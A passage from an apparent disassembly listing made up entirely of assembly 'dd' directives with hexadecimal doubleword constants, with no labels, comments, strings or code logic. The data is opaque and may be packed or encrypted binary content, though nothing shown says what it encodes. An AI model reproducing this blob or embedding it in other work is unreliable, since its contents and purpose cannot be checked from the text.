75E466C3h, 9760DC00h, 0FE396977h, 0C49B00F8h dd 0E64A9156h, 665C5925h, 9479003Dh, 1511881Fh, 0FA4B0075h dd 7F48F1AFh, 4C0322F5h, 0DA100B4Fh, 0FDBEB877h, 678300D0h dd 5D0A14F3h, 3E772792h, 1B06B300h, 0BFD1FF0Fh, 32113CD4h dd 8C2900F5h, 0A3CE1545h, 0B475CA57h, 0E80A3Bh, 0D7634E5h dd 0C31B597h, 49BFC4FCh, 81040FC8h, 941CEC63h, 73ED7280h dd 6A6F00ABh, 3E331D70h, 0D458B4D9h, 0CAAF2625h, 8B01FD1Fh dd 6FB62B4Ah, 0E335C8h, 0E1A3330Ah, 4C0F67A0h, 0C3937B00h dd 23CA8C95h, 0B96235C9h, 4E4E8088h, 0D17A1FAh, 0FA040289h dd 56C67949h, 0D1870C21h, 0BCB822FAh, 21366C07h, 5D4054C1h dd 0F81281EBh, 84721Eh, 0CFBD6058h, 4E67119Eh, 0C0758A00h dd 4FE40DE2h, 0E9FA0057h, 3E13AEE3h, 140B446Ah, 831DC3FBh dd 0FE365976h, 220A0070h, 8D85AD16h, 1300CFCCh, 11FED783h dd 0F407595h, 153D1EF8h, 649BBFC0h, 79284D92h, 3936589Ah dd 0E40D0A9h, 8CBDDA02h, 6873A000h, 0C0A859B0h, 0EF6013A8h dd 8B4A6F71h, 32D300B6h, 7347FC3Bh, 9948C0F8h, 0D75001B3h dd 0A9B921F6h, 3EDFF4h, 9D408E68h, 0EF5C1119h, 0FCBC9000h dd 0E0C33976h, 718407C5h, 6019F815h, 0A8F387B8h, 0C93FB900h dd 0B1D12F33h, 0F7210712h, 0A772610Bh, 63BA3226h, 0B3034DE0h dd 4957CF0Fh, 409FA095h, 8B1A2h, 0AC7AC0A9h, 1E785B3Ch dd 44E2B00h, 8A409C5Dh, 62220755h, 0C003A1EEh, 0D4740BC7h dd 2C0EE800h, 76F9AE1Ah, 0A84A39F4h, 643312h, 0A0C9F0F6h dd 310039B8h, 9B3A1A90h, 37D086h, 0CD841D0Bh, 15EAD6ABh dd 0E6856E00h, 3FB5100Ah, 0EF7D1F43h, 8E1F0002h, 1FDAD28h dd 0F0D47201h, 0EB129596h, 6D8FAC40h, 0F22200C9h, 0C7A132EFh dd 3E00550Eh, 9303D8ADh, 283A0145h, 2C419A9h, 0D0520DBh dd 20961130h, 0B5E23h, 2DA840F5h, 0FB49DD5Ah, 0F73E50h dd 2CC12005h, 6586E935h, 1420819h, 7BC6E8F4h, 34922004h dd 0F4CF7F00h, 89A596EFh, 0EC322471h, 780B908h, 4905E0Ch dd 0F50451DAh, 1440E33h, 0EF1A1480h, 56591906h, 0D8CE3129h dd 0EE603578h, 7FC18811h, 72F201E2h, 0BB95D6B4h, 561FD0BAh dd 995520C0h, 7FAF4F7Fh, 9558DE75h, 560C84A6h, 0C849ED53h dd 0DAD45914h, 74FE07C0h, 7DC0B41Dh, 42DAA6Dh, 0AB54E9ADh dd 217C90D3h, 52499185h, 13E00CECh, 71C1815h, 7789D930h dd 4620207Ah, 3B017986h, 6C7D74D0h, 9982AEDAh, 0D42DA9E8h dd 46DA8B0h, 0FCC12611h, 0B88A4088h, 71009275h, 3B5B74BFh dd 0C89F00FDh, 7A89CA33h, 3706486Eh, 0C4E0A7E8h, 2DEA00A9h dd 2C92753Bh, 87662B9Bh, 0B12209h, 0D43D05CAh, 90554E98h dd 34A7180Fh, 0C442B209h, 9016E86Ch, 83B2228h, 9A749272h dd 0C7411F64h, 20C2385Ah, 1C023BD1h, 0B7DF14Bh, 0A86840CFh dd 249864h, 9644E083h, 84D0619Eh, 7C882B52h, 469028Ch dd 195CC12Ah, 0FC104519h, 6D05058Eh, 0DDE663FBh, 0A802AC20h dd 0F7C109BEh, 180210B2h, 0A718368Eh, 4283008Dh, 197DB2C0h dd 65E8B727h, 24CB43Dh, 0AA8C3BD0h, 0EB2FCCEh, 83A064C5h dd 0E8EDE577h, 84859400h, 0C7725B87h, 359C00CFh, 0A5AC2579h dd 910039F6h, 85B56CC8h, 499336h, 21525F09h, 0C74806F2h dd 75006AF6h, 4E3CAB23h, 0B495C0h, 8A5482ACh, 6831A4CFh dd 3634C81Dh, 6214C18h, 3054034Ah, 926D5EF0h, 2207D9C0h dd 0A85BDA03h, 0D8EDF50Ch, 93C00Dh, 6801D837h, 7E38D945h dd 39800E1Dh, 0D0388311h, 0CB570187h, 603B00C8h, 0B1107354h dd 97000628h, 0CCC78AC6h, 0E403EF33h, 17DB1891h, 740739Ah dd 5CCBA6C8h, 30C17626h, 870EED3Eh, 0A10F86A3h, 9F813E91h dd 21A4A5F5h, 64C000CAh, 3F9B0BBBh, 18D83530h, 0FC110Dh dd 62D27B1Bh, 0B6C128ABh, 0E69C5A00h, 0AE380898h, 89730691h dd 0C190B155h, 78A57174h, 4B609D44h, 0B40048A5h, 0F7E0C7E4h dd 34CDBC8h, 0AADF3DADh, 9F9DA58h, 0D790F424h, 97817C10h dd 1D9B300h, 0A0A40A08h, 0D414C50Eh, 8E9C86A1h, 0E0417720h dd 5E5A01D8h, 26FF033Eh, 11A450DCh, 0BB003DF3h, 0CAC741DBh dd 37F234h, 32C919E0h, 0F8728975h, 62649015h, 1FC0138h dd 0A19C0A0Fh, 8F40A90Ch, 2F0B84Eh, 48C69530h, 1DC0378Ch dd 0FF00E758h, 1246DEFEh, 1576C4C1h, 0B4D33597h, 3CE65A03h dd 6DB0FC99h, 0B500CDA8h, 6B57CAEFh, 0D432B8h, 5878D569h dd 0EA5E8496h, 87D1D300h, 3E6EF639h, 29A73E1Eh, 433A4A1Dh dd 8D4C5BDFh, 90F9900Ah, 0D7C0989Dh, 520AF201h, 8F2A60D4h dd 0DE530298h, 62ED1E03h, 1B15D0A0h, 9700386Ah, 579F10C4h dd 7D343FBEh, 8B7D00A3h, 99BF37F5h, 4B00D822h, 59684177h dd 7C7648ABh, 8F580CCAh, 4080926Ch, 0F9114415h, 0CBAF09C0h dd 0F154315Dh, 0E7F5CEF5h, 31C71918h, 0DC50F5D4h, 0DA47FEh dd 150968D2h, 565A54D5h, 0C9EDE60Ch, 46DE994h, 0EBB27FB8h dd 0FA4C8C27h, 363028Ch, 3FB1454Fh, 0CD106B19h, 86000364h dd 0ED38786Dh, 64CB9A28h, 624FB976h, 0EAA96383h, 0DF5C91F7h dd 40088211h, 0C50F06C5h, 6310A100h, 0F39FC2E2h, 716563EAh dd 8EA1C79Ah, 6C482084h, 39773B00h, 0A907F436h, 0E3B81F2Eh dd 0FB6E6Eh, 0DF1D185Ch, 8E535044h, 8FA8E1F4h, 261CA30Ch dd 604372D8h, 0DF1DF1DFh, 0B8104293h, 0C0C70BCCh, 75FE0DF0h dd 0C54135A0h, 6820E0h, 6D43D857h, 4544C132h, 48303374h dd 52852089h, 6021FB57h, 0C424EDCh, 99C5BFEDh, 0B08CDBA8h dd 0A0C0998h, 0E016A144h, 3A44D03h, 0F0DAED3Ah, 54256C87h dd 0B7BCC2h, 0EA727635h, 68B9E812h, 1B0060B8h, 95379142h dd 0CCA68Ah, 4AC9EB8Bh, 66C4B0F6h, 1E1DB301h, 17322F4Ch dd 0F30A020h, 0B1F2CB42h, 1C2A82C0h, 0E500B489h, 0BE10379Dh dd 78761FFh, 0A4110FF5h, 0C98DF0BCh, 0E3004D5Ah, 6EC1DCDh dd 0FE5F712Ch, 46E200D5h, 9683D77Eh, 22005CA0h, 1F876E32h dd 5ED085h, 0BF6950DAh, 6C8A3DD4h, 5663BF98h, 0DBE9FE80h dd 0D8D3D8E2h, 0A3670683h, 4033825Ch, 800FEB3Ah, 147D5A5Dh dd 28ECE8h, 9CDC3C48h, 0F27BCCA3h, 35514300h, 0FE5E1A24h dd 0F6E10008h, 91144D8Ch, 0EE16C3C9h, 0A60084B4h, 887A0D31h dd 879E03F7h, 0FA72169Fh, 9D534038h, 99007378h, 25B3D8B7h dd 0F9EA9Ch, 36C875DCh, 606B0730h, 5205B00h, 0CB531838h dd 61BC00EAh, 39EFBF6Eh, 0F40009C6h, 0A633475Dh, 0D1F0C8h dd 581C0D2Fh, 684F13B0h, 74807B60h, 4D78B8h, 1AB7C702h dd 3EB03B7Fh, 739FD83Ah, 26522A14h, 0A3A6009Dh, 96A852Eh dd 635D00E8h, 1B3EF772h, 300715B3h, 0C92397F5h, 0E04C9935h dd 13240AAh, 5D5CBAADh dd 0E1B694AEh, 0AC3C8654h, 6040F611h, 0CFF3DC99h, 2474DB93h dd 67008BB0h, 668AD8B6h, 453395h, 0D7C80890h, 40D5B0E9h dd 0D341C1C0h, 166779Eh, 80555914h, 0ECC37DEFh, 0D709059Bh dd 216F1ADDh, 0BDD5F120h, 12C2EC4h, 0AA097607h, 0C6C8EC61h dd 196C4040h, 6A4A2B02h, 0A7DB05F8h, 8EA08C80h, 0D10CFEh dd 3CD0F4B4h, 0A545F91h, 80A64B3Ch, 0CFEBA776h, 7E9DF8h dd 709E8E21h, 0DD82B6FBh, 8123B03Bh, 7D5BC265h, 0E2E0ACECh dd 12E868h, 9F85A801h, 9CD0CC7Fh, 3F99B300h, 45FA9DB5h dd 0AD1A00CBh, 3D22EBB0h, 0F0005BC1h, 2DB67F57h, 3D3B185Fh dd 2787F398h, 0A0B4815Ch, 6C09A730h, 0C0521700h, 0C54B6A13h dd 12FC00D8h, 0C7655A8Ah, 0B107FF0Eh, 3AD70FA6h, 67B58840h dd 787C3E72h, 0CC5C929Fh, 62086A08h, 3E20A160h, 39277E5Ah dd 8C016B6Dh, 0D6123AA5h, 42418014h, 462B9174h, 0BF4000D8h dd 0A7896BF0h, 0DF0026E6h, 0ED574904h, 18FE287Bh, 397ED6C8h dd 6C00FB07h, 367C2AF1h, 3C54262Eh, 6F83624Eh, 0A03F95BCh dd 0F5E0BF8Bh, 0C3003671h, 7D0D39EAh, 66CA6h, 7FF356D7h dd 0B53E136Eh, 0BDF9871Fh, 76995CC0h, 3CE5E324h, 13800CDDh dd 264E61CEh, 8A606DB8h, 9BABB520h, 20455358h, 60D280C4h dd 3740875Fh, 60C0A49Eh, 4F7401C6h, 0C34F801h, 0DFB213Bh dd 218095D1h, 90755A61h, 2D78978Bh, 0FF2FF9C0h, 0E2C211D8h dd 6CA501F5h, 0CF2E7662h, 7D3AE0FEh, 4B069E78h, 0B6DF5B26h dd 45150039h, 0FE3667E6h, 301D3CCAh, 3D0CC5F6h, 0F22082h dd 0F41AE64Eh, 72EDD3D9h, 594DBB14h, 54821498h, 912100A4h dd 0EF61A69Eh, 1523B02Fh, 881715BDh, 5078696Ch, 4807E043h dd 0F8361EE6h, 2102C6h, 60E64DFFh, 0F42DD6ECh, 9807BA14h dd 520678DCh, 908B9C87h, 0A6B80910h, 3C18C858h, 47107C69h dd 0D0E76AFFh, 0E81C7E51h, 9B638E26h, 5F146902h, 53818024h dd 1488ED91h, 309BCFBCh, 5B18873Ch, 0E79110A5h, 4AA1D307h dd 4ED583BDh, 1F80E81Fh, 0EC8672F9h, 9AF40011h, 0DD2D46B3h dd 8A3CD35Bh, 0B68F80AAh, 0F4DB693Ah, 5CAF003Dh, 5B174115h dd 850FAEA0h, 0A616B2h, 11D4B393h, 3F3E728Dh, 0A818F745h dd 0B60482C6h, 466F5100h, 19F04DCFh, 8320002Ah, 0B7D4AAEDh dd 6006259h, 0CEA7855Ah, 94E0DEh, 0EACC6DA9h, 0DDEFBDE5h dd 390CBC00h, 3F03637h, 661D03ADh, 0E1493A41h, 3C5375D8h dd 5F476100h, 0FB10C4C9h, 0B76A00C5h, 2C24730Ah, 8B0CC27Dh dd 118FC77Ah, 42754C6h, 0A9573FE1h, 0DEB842h, 0AA20375Bh dd 119FE587h, 9915Ch, 0D8E09738h, 5BDBC1h, 0BA59DE56h dd 0F87AC52h, 67299A64h, 11D6B221h, 0A911BBE5h, 11231291h dd 128428Ah, 63AE1481h, 310F0110h, 0F4DAE0CCh, 0F0780146h dd 4C45D2B1h, 0AA516019h, 3294ED00h, 5A9D4BBEh, 0AB1600E8h dd 0AFB0D379h, 6877884Ch, 7A82ED07h, 0C2200863h, 337F0Ah dd 0DCE75E0Bh, 0C696664Eh, 2F6ED800h, 71849506h, 612600C8h dd 9DAC1723h, 8C0092FDh, 0F2B50CABh, 6BCD15h, 0D7149857h dd 707579ADh, 0E8308B03h, 0E81AC4DCh, 0E0B3D0h, 0B6631B7Ch dd 0E72F71C9h, 2E6F5A7Fh, 0A2A9E029h, 0F0E3A0Dh, 0EFB8537Bh dd 7307C454h, 2012714Ah, 0F9DC48F3h, 6416D3Fh, 0DA78BE70h dd 4C1B0010h, 5E924AFEh, 5F14ED2Ah, 0EE08C77h, 459B8AB1h dd 82C0FDBDh, 7AF73Ch, 91B2ADEDh, 0CFA6B379h, 0F0452900h dd 3D6DCB84h, 0E775040Fh, 832EB8AEh, 0E91D3986h, 7802D0Eh dd 317F7413h, 1AEB0070h, 9134A5C8h, 0A6003F6Fh, 9E37662Eh dd 4056ECEh, 3369D7C6h, 909AC098h, 0A8007BC9h, 3012BB81h dd 0F2A94B35h, 0C02050C2h, 68DA3BB8h, 0C74A5B00h, 0B2586797h dd 0A41BE500h, 2442A62Eh, 0DD960052h, 259E3DB8h, 790786C1h dd 50337813h, 40BFE3D2h, 1CDED95Ch, 6CA129F6h, 0AFD0064h dd 1D9BE4C9h, 6DE30407h, 0D8A08CFAh, 0EC295BE6h, 7C5C0021h dd 9CA898F8h, 13006AB5h, 0BAF39338h, 481BE3AFh, 0FE001018h dd 0DDC74615h, 0F800286Dh, 0AD4731A3h, 0EA12A9h, 16D4E109h dd 3421C255h, 0D7A2C505h, 0A00EB4D3h, 2FF16022h, 2BE7771Bh dd 59EC4C85h, 27088Ch, 304F583Ch, 530745E4h, 38DED5Ch dd 0ABE344F4h, 50CC80B0h, 5E340122h, 8FAFE27h, 25F840B5h dd 0C006920h, 0EB16116Ah, 31FFDCh, 605B1FECh, 7BABD7DFh dd 2D305C76h, 0BEF6EA9Ah, 18DA6068h, 10E87C61h, 0C748500Fh dd 77B5C115h, 11DC90DCh, 0AC370049h, 0F4FF35EAh, 5D00BCA9h dd 0E7D803E5h, 81DFA5h, 0C8016838h, 8FAA7817h, 6679B400h dd 0CA76D72Ch, 382200FFh, 3A4D9ED5h, 9300E937h, 0B1511FEBh dd 4457Fh, 972B99D4h, 7780A428h, 92BA6E00h, 0B76996FDh dd 0E41148CFh, 0C6D971Dh, 83AAE482h, 2EB9DA12h, 0C73AE304h dd 1C3DF081h, 55C4BCCDh, 5975D2h, 0FB301D90h, 0B2E2ADB7h dd 0FEF9D00h, 0D403973Ah, 0DFF0A51h, 84E88B23h, 80D8E94Ah dd 0EEE22CE2h, 5226DF0Fh, 0A87CC0CCh, 3C54407Bh, 8F805623h dd 7F8C86A5h, 0D300287Ah, 6CA2DF04h, 71935Ah, 0B549B6DDh dd 0DAAE3963h, 9D513F07h, 0D865608Ah, 0CDE9E100h, 17AF9Ch dd 5D039B9Eh, 5C7EB2Dh, 84217000h, 850B5B89h, 87605022h dd 0BBC40EDDh, 0CFC0AD16h, 35C5674Ch, 94536B00h, 5F79B0B4h dd 9DAB0704h, 0A0189828h, 0D1F299F0h, 3AD41200h, 6505EFF9h dd 2F2E04ACh, 0C8A5FBE9h, 7607E264h, 5A31791Eh, 0D112940h dd 0E7ED005Bh, 10448455h, 2C0E6EFAh, 4005A70Bh, 57B1E3C7h dd 93360064h, 0F484007h, 3F00D639h, 4145A827h, 25C622h dd 0E99895C0h, 8E2C8B71h, 2EBE4200h, 35C20D8h, 1CA00063h dd 133FC686h, 0E61E5AF5h, 4B035D46h, 0D826D66Ch, 994A109h dd 9020AECCh, 0F81C9400h, 0AB026C27h, 0A217B5F2h, 1DB86007h dd 210C1CCFh, 40514455h, 0BF2C0B3h, 30005995h, 830224B6h dd 0ECD829h, 0D7FA8588h, 336B015Ch, 0F4FE3727h, 0B53400A2h dd 4D435BDAh, 0B88E9F00h, 74DFB2B7h, 0AA052CE1h, 0FC6000FCh dd 0D581536Ah, 1189F000h, 0C6469042h, 6E800E7Ch, 0AD80F4FEh dd 6421BA84h, 1B00D9E6h, 4F81C2C1h, 169E075Dh, 40DD36D3h dd 0CD60FB08h, 0B0009DFFh, 0D0CA4338h, 2C512E83h, 74DC1Fh dd 919BFB41h, 749A61D4h, 7A46B600h, 54236AA6h, 8B7E07F4h dd 0C51D5Dh, 0AC368921h, 70447B1Eh, 0A4A024CEh, 0F0C030CFh dd 1EF5A7h, 67CAEDEh, 89787EEAh, 44BBA426h, 2B4D0A80h dd 9C3BDAh, 986C1921h, 0DE09B3E3h, 82AEF00h, 0ED6DF0F5h dd 0FF47003Ah, 6389D195h, 0C40366CFh, 930E972Ch, 0E87F8220h dd 346433Ch, 0C7F9BD26h, 7E9809BFh, 3C00C50Fh, 0D0DA22E3h dd 0BA3E94h, 0D968F9FEh, 0A5EB7282h, 1D3A7300h, 2AAE9C6Bh dd 8821006Fh, 4855F471h, 6D4C162Dh, 796700DEh, 49896642h dd 6BEE00D5h, 572AF1DEh, 8C13028Fh, 88007916h, 0D9622070h dd 80982Bh, 0C6AA11F1h, 4F2409E4h, 6C15AB00h, 6AC7794Ch dd 7A5B0054h, 0D35AD197h, 0B34C96C6h, 0E8160B95h, 0EA4A1BAh dd 8007EC2Eh, 137B305Ch, 0B2A0900Eh, 0E50C299h, 69BCB02Bh dd 259600FEh, 553F52D9h, 5F18B71Ch, 0E821E102h, 60EF00B6h dd 1F40ADE0h, 6E008192h, 744DCF35h, 0F6EA47h, 0D92D5F22h dd 0C8F1E4A7h, 8223FD01h, 0B84C6BB4h, 75A59880h, 450C0492h dd 0EEEF4Ch, 0C0F2563Ch dd 911A18Bh, 0B9A9611Ah, 3770300h, 0F3B0D7BFh, 0B400477Ah dd 3E1C21C6h, 0F6F9CF15h, 0EC4C16EDh, 92940219h, 0E0A0A32Dh dd 6A688DBDh, 90555A00h, 0A6466BABh, 21EE28D3h, 0BBC21C88h dd 0AC4D3FE2h, 0DC05D500h, 13229948h, 52BDA901h, 0D09C6C09h dd 21D8C0h, 24658061h, 8431EC83h, 8CD3D606h, 0E50CFE0h dd 2964F7E1h, 53487440h, 8A0052C8h, 0F24CBC1Bh, 0F850E3h dd 25DCB659h, 28AFB41Fh, 9315F000h, 924BEEFAh, 0F19B0020h dd 0A5AC57E8h, 0C900654Ch, 0AB8EE35Eh, 7B2A4582h, 0CABE0022h dd 0DBDDFFBCh, 611E8C78h, 84998E04h, 5DFCC5B4h, 31670F2h dd 0B58CD2A0h, 0A03EA410h, 813CBC04h, 0A9D4B62Dh, 3DE87446h dd 0CDE204B8h, 0C00AAE58h, 503A71A4h, 0B2112600h, 425DF724h dd 6C350562h, 80C17CE7h, 8EBB5383h, 0B3D5C8EBh, 0B171B501h dd 0D4448307h, 9918C3F4h, 88BC8454h, 0D1708065h, 8C00916Bh dd 0E532070Eh, 25CAEE3h, 6CD34A4Dh, 7C4353C7h, 0EC60E0E2h dd 21004385h, 81D123F5h, 79B8DCEAh, 0D01F0046h, 0F0659019h dd 0A20EFEFAh, 403BBBEEh, 9EDA9A48h, 8048DD52h, 93ACCF72h dd 0CA00214Bh, 25FA2EA6h, 9FB616h, 0B860047Dh, 0AE721984h dd 3E241F00h, 972DF8E4h, 52A301CDh, 0AF1D0158h, 0D007F561h dd 260043B9h, 21822002h, 7034F32h, 39FBEFB5h, 7751D052h dd 980F19AEh, 0C07E8EBFh, 562967EAh, 0D6711Eh, 0B92B3A1h dd 7259DA19h, 0DBED3F0Eh, 0EFBE0D8h, 5C1B45h, 0E0E88F2Bh dd 21EC81B8h, 0EF929C00h, 0A4F8C90Ah, 26E43Bh, 0A39B127Eh dd 69B8B286h, 0A7D9201h, 0C8CE47DFh, 0EBA9EF0h, 456BDBE0h dd 8538A541h, 1D208050h, 0BCD08F5Ah, 0EDE20C04h, 0AA186BC5h dd 2F963Dh, 48DE49DCh, 3584B0h, 7767F5F7h, 95301C46h, 0CDA1100h dd 0AEB6109Eh, 0B70800E8h, 7D83D798h, 5C1886FAh, 4F306615h dd 0D8D20016h, 0D9CF981Dh, 449A5B92h, 0BD02BCECh, 0F0248257h dd 8A8CC03Ch, 83850CB9h, 14103FA3h, 20184E2Ch, 5503A100h dd 9F37F4h, 747C0B9Eh, 0D1BF221h, 977BDA02h, 40ACABAEh dd 0BA5D1170h, 38EE3B48h, 4903BD80h, 554E2032h, 0AA0E7C03h dd 0B037DBCAh, 0E2446DF8h, 1C8710Ch, 7225AB79h, 20F6BBE8h dd 0AF0B9E14h, 0F44429h, 69404351h, 167EEFh, 0D48DB5F6h dd 0A93527CFh, 7FB2EA1Ch, 566A2440h, 1665CC44h, 2A928Eh dd 611966FEh, 8718AA50h, 36292113h, 203C005Ch, 0B4A425E2h dd 0F9398DE7h, 0AB331D69h, 0D38BDDC7h, 32C4F5A0h, 0BCB200A4h dd 522899DEh, 6EECB318h, 0EE5A9601h, 4E6DB7D2h, 6007F4h dd 3DA59D1Dh, 0B1CE157Eh, 994D9E00h, 0BF85B8A9h, 88CC0991h dd 2880395Fh, 9AF61AA6h, 36000172h, 0A16A1EEBh, 70BC8Ch dd 0D358914Ch, 0A563901Fh, 0BF3F6707h, 0F853DE54h, 91DFF0C6h dd 0B3470071h, 61DDAA74h, 0C972D6F3h, 7FC6BC00h, 0C80D539Dh dd 0ECBF74CEh, 58400E22h, 0D9809BA8h, 6A1FEA33h, 0E61AA703h dd 0EF7057h, 37767910h, 0B2D0C6D6h, 803DE53Eh, 0CC18E117h dd 81C784h, 4BFE2AACh, 0EBFAA424h, 0C1B58200h, 0A2057865h dd 1C6012AFh, 506E182Dh, 0A671C4D9h, 0C5E33F00h, 0DD089CE7h dd 7AA20233h, 4F4D5426h, 0BD933143h, 6C4732D8h, 2C686900h dd 9197905Ah, 0AA6100B4h, 0E9A9D34Bh, 0A6E0DE9Ch, 102C5100h dd 4C833D6Eh, 9D7C04h, 96C4541h, 80033834h, 1DDA0C00h dd 199683FBh, 98545352h, 7156737Dh, 0F7D40038h, 0C3C86102h dd 3F03BEA8h, 0F3035BEAh, 0CC58D0FCh, 20B76F9Ah, 50230100h dd 600A49Ch, 9D10750Ch, 0DF4B07h, 5DA7EE42h, 842E2C12h dd 6BFC3917h, 0ED56F800h, 0C0BFA457h, 11CC6CE0h, 0E300EBC9h dd 0CF9CE8AFh, 7618A255h, 4B250159h, 0B2338C37h, 1906F44Fh dd 0DB42A60Eh, 0A814F8h, 73805C3Eh, 6FE94Bh, 6BFDC5C2h dd 5641A792h, 0FAEF9F0Fh, 627AC131h, 24C8B6F8h, 0C2648E7h dd 1DEA0E77h, 75404ACEh, 1C42207Ah, 54906890h, 2434700h dd 95DFAABCh, 31230E93h, 50C222BEh, 0F1E2D8B4h, 4202F8C0h dd 9A4E1100h, 113BA88h, 72E10025h, 50C154DBh, 4176CC93h dd 868E848h, 0E26809h, 2B365B0h, 0A0A0ED3Ah, 0D70013A9h dd 187DEBABh, 288DCC0Fh, 0A9C47E4h, 79254957h, 0BD2400B0h dd 9F0C20E9h, 412F2D00h, 0FEB83FE0h, 32890C6h, 0BB42E2B0h dd 1001C838h, 37B3FD22h, 7F304ED0h, 975A24DFh, 0FC990000h dd 18BEE72h, 0E53ADB1Fh, 0A6989400h, 7257400Fh, 0C8170042h dd 95EE4C86h, 79188021h, 4688781Bh, 6CAD0097h, 559C0A6h dd 5B019A84h, 73D0D1E7h, 824F879h, 57AD0717h, 80A62DFFh dd 51A447E9h, 7C298E12h, 0F59E01FAh, 0E89B1FD0h, 680053B6h dd 1B40D621h, 2DC9D725h, 3BFE85A7h, 6EC10A00h, 0EE950Ch dd 0FD13059Ch, 0F0A038E2h, 0C58FF100h, 32A3C262h, 25580566h dd 0C0ADA6A2h, 0E51471B7h, 653D214h, 39E10FF0h, 0C07C6E6Eh dd 2CA08D62h, 8AD500C1h, 5E01AA72h, 491C1059h, 12033E46h dd 0D0223978h, 98A91A64h, 23A03809h, 928C6A81h, 0E401E12Bh dd 9C00E539h, 0D157C813h, 0B77FD43h, 94BCD8CDh, 59630B80h dd 0C0006C01h, 8EFEBBDh, 484748B0h, 9000C48Ch, 7C4A5F57h dd 0D000999Ah, 0F7C81EFEh, 9533583Fh, 7325B6C0h, 2F4B7800h dd 0FCF687EBh, 0E5470021h, 1CC9D42Ch, 0A6001E28h, 79A3266Ch dd 216BB0h, 19507574h, 11F61709h, 532D7F02h, 8173BAC0h dd 99C45FE9h, 3EF2A02Bh, 0A27D46EEh, 0B56CD900h, 3C50A082h dd 210B00EEh, 25975B7Ch, 0FE00C90Ch, 19E3779h, 586EF76h dd 53D1CD66h, 49B04016h, 46700C72h, 9F6DAE03h, 0E0AC74DEh dd 0B68A91h, 4C526B11h, 0D5667143h, 0AA7646E4h, 62D0AB00h dd 87A79A7Eh, 0EE7B0B9h, 0E6BB4A37h, 0D6177BE1h, 0E60B94Dh dd 0DAE35F82h, 0E9FD6070h, 75CA029Ah, 7BD24FC2h, 6097D8C3h dd 3B1C272Ah, 38C04D73h, 0EEE9B52h, 0E2BDF6CFh, 0E608C0B8h dd 0AC0C409h, 292A4100h, 0CF9B61D8h, 0B5DF0096h, 8817C5AFh dd 0D076B6E7h, 5E476400h, 0E8EA4F87h, 271A072Bh, 4322962Eh dd 6940D4D1h, 5528F240h, 0C27DF411h, 0E35CD300h, 813B1E1Bh dd 190D3099h, 0A895CD31h, 5D174A00h, 9AC9032Bh, 9B0900D8h dd 1B4C7FD7h, 0F2071A22h, 3B966D3Dh, 72A5A4C0h, 38D303C7h dd 28410EA6h, 91A005B8h, 803F3Fh, 0B0D1E873h, 0A171B9h dd 104336ABh, 76C46B89h, 0C91C1400h, 0A991EDCEh, 951700DDh dd 3319AD5Dh, 0F13EB694h, 72DF130Ch, 9F006F1Dh, 39997371h dd 192D3D51h, 80408C9Fh, 8B5FE79Bh, 1C3BC3A1h, 41F40093h dd 187E722Dh, 77800465h, 0C4CECF81h, 9B6F803Ch, 0D007D86h dd 0B3B205F8h, 56D0BBh, 1851C01Fh, 8B08F230h, 6E8F35Bh dd 693DEF00h, 471CE31Dh, 32368609h, 14042F41h, 9EA300DCh dd 0AB2CF980h, 21F00006h, 0EA29E4B1h, 1602FA47h, 3754C566h dd 133660B8h, 4F2B070Fh, 0FAD3278Dh, 0BF380C0h, 0A1C7D1E3h dd 47A93D00h, 0EC0E95DEh, 0CA020FCFh, 0B98F14FAh, 73267Dh dd 3E910BCEh, 3A791568h, 11115630h, 0F09F2C87h, 0D893027Fh dd 2E929816h, 69DA1CE8h, 0F909C0B2h, 61E567h, 0A86446A0h dd 0D3DF1D40h, 6FD7401Ch, 0DE752AF8h, 9D14F73Fh, 0A0EAD0E6h dd 737F5D03h, 88BB498Ch, 132377Ah, 1BE1225Eh, 0C8246C67h dd 5B3B397Bh, 230A003Fh, 107FD861h, 8A650079h, 0C0471691h dd 720C3781h dd 115E78EDh, 8CEB00B4h, 601C6DA8h, 400B335h, 3BC696D3h dd 1D5BD54Ah, 80CBC037h, 0E19D47ADh, 89072FB3h, 0C5999E5Eh dd 0C0DF8300h, 6951DCBCh, 94900304h, 0E9E0BDDDh, 9600AB8Eh dd 1E3EFC84h, 85474Fh, 0E638C243h, 0B80BD990h, 0B6668214h dd 8722114h, 6588C5EBh, 0A5F38808h, 99843690h, 433148C3h dd 4E40F04h, 96441F2Ah, 0C1D44CDh, 4C137A44h, 0D9512Eh dd 0F2F7E9D6h, 1D027ECBh, 33C08707h, 0DB77EC8Fh, 71AA730h dd 7E5C0082h, 0B58B3B35h, 6E64FE3h, 0C3000A7Ch, 66707B1Dh dd 1B789B4h, 18E63181h, 30F83BB1h, 6F0082FCh, 84CEACD9h dd 7F20A1Ch, 0B518A53Ch, 0F90E00B1h, 0CF00DC05h, 0A06D8712h dd 0AD659Fh, 80CD06B6h, 0BE3F4F48h, 0F10129E6h, 79E86E73h dd 0F8F8C75Fh, 156200F3h, 917702DCh, 0C000FD26h, 0AC601F4Dh dd 6F3FD8h, 0EDF0DDA5h, 1429D639h, 4E1E3A00h, 585794F9h dd 5C1D00C6h, 85E6B820h, 0C7030344h, 0B7E1EA01h, 0A6BEC00Dh dd 0E0A40C2Bh, 1F50F320h, 23815600h, 1987A35Eh, 7F4D00F1h dd 9A124CC0h, 0A503BC52h, 5A113292h, 0FA11866Fh, 58F700A9h dd 47930246h, 2E007315h, 0E40F4FE5h, 12C896BAh, 0E64465h dd 60777C2Ch, 3A0F849Fh, 80B3B50Dh, 5A610343h, 8C1D002Ah dd 154EE96Eh, 0C0105D3h, 133A535Dh, 40FEA98Ah, 0ED1ADEh dd 3732C1FAh, 714D8D5h, 888D6300h, 4E677E54h, 896B00D4h dd 0BE85E774h, 8004C2Ah, 0B0453E93h, 3C86E876h, 1D0092F2h dd 6BBBD6F8h, 0EB00DD2Dh, 0E27527A9h, 1C594DECh, 405E65A0h dd 69DE91D7h, 6800A598h, 5B94B49Ah, 33CB78h, 9C7FA40Dh dd 0FEE8A376h, 3F06D509h, 83508042h, 24C79E01h, 0A8822Dh dd 0B7DD24B1h, 3D00E15Bh, 0FC5E8759h, 2EFECBDEh, 1654D1h dd 0FF66A234h, 84A08BD5h, 0A71D6C46h, 2A40262Dh, 0A1E7CEBCh dd 71E000D9h, 849EB62Bh, 60C08360h, 1B8BA28Eh, 7EE40061h dd 54D2FE88h, 38006DCEh, 1D5F8DF8h, 3F1A07h, 9EB5089Ch dd 7EFE4712h, 9752701Eh, 0B1FF1380h, 6C6DECh, 1862DF53h dd 6FCA3814h, 59F2D4FCh, 3400DAEEh, 6CAF109Fh, 0B75F14C1h dd 93B71D0h, 4F3A001Dh, 12F5C42Bh, 8D7005E6h, 7C158Bh dd 62D775B8h, 